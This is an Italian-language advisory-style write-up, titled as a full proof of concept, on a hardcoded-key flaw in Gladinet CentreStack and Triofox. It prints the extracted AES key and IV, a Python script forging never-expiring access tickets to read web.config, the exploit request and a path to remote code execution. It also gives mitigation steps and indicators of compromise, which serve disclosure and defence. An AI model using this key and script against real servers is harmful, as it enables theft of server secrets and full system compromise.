CVE-2025-14611 CentreStack e Triofox PoC/Exploit completo

Riepilogo

Questa vulnerabilità deriva da chiavi crittografiche hardcoded nei prodotti Gladinet CentreStack e Triofox, consentendo la lettura arbitraria di file tramite ticket di accesso falsificati. L'implementazione della crittografia AES-256 utilizza chiavi statiche e immutabili incorporate direttamente nel binario dell'applicazione (GladCtrl64.dll), consentendo a qualsiasi attaccante che estragga queste chiavi di:

Decifrare i ticket di accesso legittimi per comprendere i percorsi dei file interni e la configurazione di sistema
Falsificare ticket di accesso malevoli con timestamp che non scadono mai per leggere file arbitrari sul server
Aggirare l'autenticazione lasciando vuoti i campi username e password, facendo sì che l'applicazione ripieghi sull'IIS Application Pool Identity
Concatenare questa vulnerabilità con CVE-2025-30406 (deserializzazione ViewState) per ottenere l'esecuzione remota di codice

La vulnerabilità interessa tutte le versioni di Gladinet CentreStack e Triofox precedenti alla 16.12.10420.56791 ed è stata attivamente sfruttata in the wild almeno da novembre 2025.

Analisi

1. Generazione e archiviazione delle chiavi

La vulnerabilità inizia dal modo in cui le chiavi crittografiche vengono generate e archiviate in GladCtrl64.dll. Le funzioni GenerateSecKey e GenerateSecKey1 sono responsabili di fornire la chiave di crittografia AES e il vettore di inizializzazione (IV).

Flusso di generazione delle chiavi:

Quando l'applicazione server CentreStack si avvia, la classe SysKeyMgr chiama AccessKeyMgr64.GetSysEncKey, che richiama GenerateSecKey situata in GladCtrl64.dll. Questa funzione:

PSTR sub_180001000(wchar16* arg1)
{
    int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, 
        lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr, 
        cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
    
    if (cbMultiByte != 0) {
        PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
        
        if (lpMultiByteStr != 0) {
            if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1, 
                    cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte, 
                    lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
                return lpMultiByteStr;
            
            sub_180001290(lpMultiByteStr);
        }
    }
    return nullptr;
}

La funzione converte stringhe codificate UTF-16LE in UTF-8 usando l'API Windows WideCharToMultiByte con code page 0xfde9 (UTF-8). I dati sorgente sono memorizzati in due posizioni di memoria statiche:

Key Source (0x18000c000): una stringa UTF-16LE di 100 byte contenente testo cinese
IV Source (0x18000c2c0): una stringa UTF-16LE di 100 byte che inizia con "moDriv" seguita da testo giapponese

Riscontro critico: Queste stringhe non cambiano mai in nessuna installazione del software. Il nome della funzione GenerateSecKey è fuorviante: non genera chiavi dinamicamente, ma restituisce semplicemente stringhe statiche preesistenti dal binario.

2. Le chiavi hardcoded

Attraverso l'analisi di reverse engineering, le chiavi hardcoded sono state estratte dalla sezione .data di GladCtrl64.dll:

Memoria all'indirizzo 0x18000c000 (Key Source):

0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...

Una volta decodificata da UTF-16LE a UTF-8, produce testo cinese:

不过，调查也显示，日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...

Memoria all'indirizzo 0x18000c2c0 (IV Source):

6d 6f 44 72 69 76 65 00   // "moDriv" in ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...

Una volta decodificata, produce:

moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...

Chiavi crittografiche finali:

L'applicazione utilizza i primi 32 byte della Key Source codificata in UTF-8 come chiave AES-256, e i primi 16 byte della IV Source codificata in UTF-8 come vettore di inizializzazione:

AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV:      6d6f4472697665e381afe38081e38389

3. L'handler vulnerabile di download dei file

La vulnerabilità viene sfruttata tramite l'handler HTTP filesvr.dn, mappato sulla classe GladinetStorage.FileDownloadHandler. Questo handler elabora i ticket di accesso crittografati passati tramite il parametro di query t.

Struttura del ticket di accesso:

I ticket di accesso sono campi separati da newline e crittografati con AES-256-CBC:

Line 0: Filepath (absolute path on server)
Line 1: Username (Windows account to impersonate)
Line 2: Password (credentials for that account)
Line 3: Timestamp (ticket creation time)

Il processo di decifratura:

L'handler riceve il parametro t ed esegue una sanitizzazione personalizzata, scambiando i caratteri URL-safe (: → +, | → /)
Il valore viene decodificato in Base64 per ottenere il testo cifrato
Viene chiamato AccessTicket.Decrypt, che recupera la SysKey statica (primi 32 byte) e SysKey1 (primi 16 byte)
Viene configurato un cifrario AES-256-CBC con queste chiavi
Il ticket viene decifrato e analizzato

Bypass della validazione del timestamp:

L'handler confronta il timestamp del ticket con l'ora corrente del server. Se il ticket è più vecchio di 4 ore, viene rifiutato. Tuttavia, gli attaccanti possono impostare il timestamp all'anno 9999, creando un ticket che non scade mai:

9999-11-27 14:52:04.009217

Questo crea una backdoor persistente che può essere riutilizzata indefinitamente.

4. Bypass dell'autenticazione tramite credenziali vuote

Dopo la decifratura, l'handler estrae i campi Username e Password e tenta di inizializzare un contesto di impersonificazione. Vulnerabilità critica: Quando entrambi i campi sono stringhe vuote, la logica di impersonificazione fallisce e ripiega sull'IIS Application Pool Identity.

Questo consente la lettura arbitraria di file senza autenticazione, poiché l'applicazione viene eseguita con privilegi elevati ma non richiede credenziali valide.

Esempio di ticket malevolo:

C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217

5. Sfruttamento in the wild

È stato osservato uno sfruttamento attivo da novembre 2025. Gli attaccanti seguono questo schema:

Passo 1: Falsificare il ticket di accesso

Usando le chiavi estratte, gli attaccanti creano ticket crittografati che hanno come bersaglio web.config:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')

ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')

Passo 2: Invio della richiesta malevola

Il ticket forgiato viene inviato all'endpoint vulnerabile:

GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com

Passo 3: Estrazione delle machine key

La risposta contiene il file web.config con le machine key:

<machineKey 
    validationKey="ABC123..." 
    decryptionKey="DEF456..." 
    validation="SHA1" 
    decryption="AES" 
/>

Passo 4: Concatenazione con CVE-2025-30406

Queste machine key abilitano gli attacchi di deserializzazione ViewState, portando all'esecuzione remota di codice. Gli attaccanti creano payload ViewState malevoli firmati con le chiavi estratte, ottenendo la completa compromissione del sistema.

6. Esempio di attacco reale

Dai tentativi di sfruttamento osservati (dicembre 2025):

Ticket crittografato proveniente dall'attaccante:

vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu

Contenuto decifrato:

C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217

Origine dell'attacco: indirizzo IP 147.124.216[.]205
Organizzazioni bersaglio: 9 vittime confermate nei settori sanitario, tecnologico e dei servizi professionali
Cronologia dell'attacco: primi tentativi di sfruttamento a novembre 2025, con escalation a dicembre 2025

Conclusione

CVE-2025-14611 rappresenta un fallimento critico nella gestione delle chiavi crittografiche. Incorporando chiavi statiche e immutabili direttamente nel binario dell'applicazione, Gladinet ha creato una chiave passe-partout universale che funziona su tutte le installazioni. Questa vulnerabilità evidenzia diversi gravi problemi di sicurezza:

Crittografia hardcoded: l'uso di chiavi statiche elimina qualsiasi beneficio di sicurezza della crittografia
Bypass dell'autenticazione: la gestione di credenziali vuote consente l'accesso senza autenticazione
Ticket che non scadono mai: i timestamp molto nel futuro creano backdoor persistenti
Concatenazione di exploit: combinata con CVE-2025-30406, consente la completa compromissione del sistema

Raccomandazioni per la mitigazione:

Immediato: aggiornare a CentreStack/Triofox versione 16.12.10420.56791 o successiva
Critico: ruotare le machine key in web.config dopo l'applicazione della patch
Difesa: monitorare i log IIS per accessi a /storage/filesvr.dn con parametri t sospetti
Rilevamento: cercare nei log l'indicatore: vghpI7EToZUDIZDdprSubL3mTZ2 (rappresentazione crittografata del percorso di web.config)
Rete: bloccare l'accesso in ingresso a CentreStack da reti non fidate

Indicatore di compromissione:

Qualsiasi richiesta HTTP contenente:

/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2

Questa sottostringa identifica in modo univoco i tentativi di sfruttare questa vulnerabilità per recuperare web.config.

Più Popolari

CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit